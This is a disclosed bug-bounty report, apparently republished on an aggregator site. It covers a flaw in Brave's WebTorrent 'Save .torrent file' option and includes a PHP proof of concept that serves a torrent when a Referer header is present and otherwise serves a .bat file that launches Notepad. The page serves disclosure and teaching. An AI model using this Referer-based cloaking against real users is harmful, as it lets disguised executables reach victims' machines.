Skip to content
RCE Disclosed report Intermediate

Arbitrary file download via "Save .torrent file" option can lead to Client RCE and XSS

WebTorrent's validation of torrent files could be bypassed by a server that returns a torrent only when a Referer header is present, otherwise returning a malicious executable. An attacker could trick a user into downloading and running a .bat file, leading to client-side code execution.

d3f4u17 Follow

Originally disclosed on HackerOne

  • Triaged in 41 hours
  • Fixed in 12 days
  • Paid in 12 days
  • Disclosed after 22 months

Summary:

An attacker can use the "Save .torrent file" option in WebTorrent to smuggle malicious files onto the client's machine.

Description

Brave allows users to download the ".torrent" via WebTorrent. WebTorrent decides whether a file is torrent or not based on the following headers Content-Disposition and Content-Type an attacker can craft a clever looking server side file to bypass the WebTorrent validation which in turn allows the users to download the malicious file instead of an actual torrent file, this behavior can easily lead to localhost* xss and client side RCE.

I used the following PHP code to bypass the WebTorrent validation.

PHP
<?php

if(isset($_SERVER['HTTP_REFERER'])){
    header("Content-Disposition: attachment; filename='PoC.torrent'; filename*=UTF-8''PoC.torrent");
    header("Content-Type: application/octet-stream");
}
else{
    header("Content-Disposition: attachment; filename='PoC.bat'; filename*=UTF-8''PoC.bat");
    header("Content-Type: application/x-bat");
    echo "@echo off\n";
    echo "START C:\Windows\NOTEPAD.EXE";
}
?>

In the above code when the Referer header is passed along with the request then only the server returns a torrent file response otherwise the server will return a .bat file which when executed will open notepad on a Windows Machine.

Tested on

  • Brave Version 1.12.114 Chromium: 84.0.4147.135 (Windows)

Steps To Reproduce:

Below is a video POC for the above attack scenario

bandicam_2020-08-20_17-37-46-525.mp4 From the original on HackerOne

Impact

  • Remote Code Execution
  • Remote JavaScript execution
  • Installing malware on client's machine

The original report as published on HackerOne, by d3f4u17. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the torrent validation relied only on server-provided headers (Content-Disposition and Content-Type) without verifying the actual file content, allowing a malicious server to serve different content based on the Referer header.

Impact

An attacker could achieve remote code execution and remote JavaScript execution on the client's machine, and install malware.

What the attacker needed

Victim uses Brave on Windows; Victim visits attacker's page; Victim clicks link and saves file; Victim opens the downloaded file

How it was found

  1. Visit the attacker's test page in Brave on Windows.
  2. Click the 'click me' link.
  3. Choose the 'Save .torrent file' option.
  4. Save the file and open it.
  5. The executable runs and opens Notepad.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

WebTorrent is a feature that lets you download files using the BitTorrent system directly in the browser. The browser checks if a file is a real torrent by looking at certain headers sent by the server. The attacker made a server that pretends to send a torrent when the browser checks, but actually sends a harmful program when the user saves it. If the user runs that program, it can do things like open Notepad or worse.

What is RCE?

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.

More by d3f4u17

View all

8 more disclosed reports, best first.

More from Brave Software

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Remote code execution

The lesson behind this report.

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.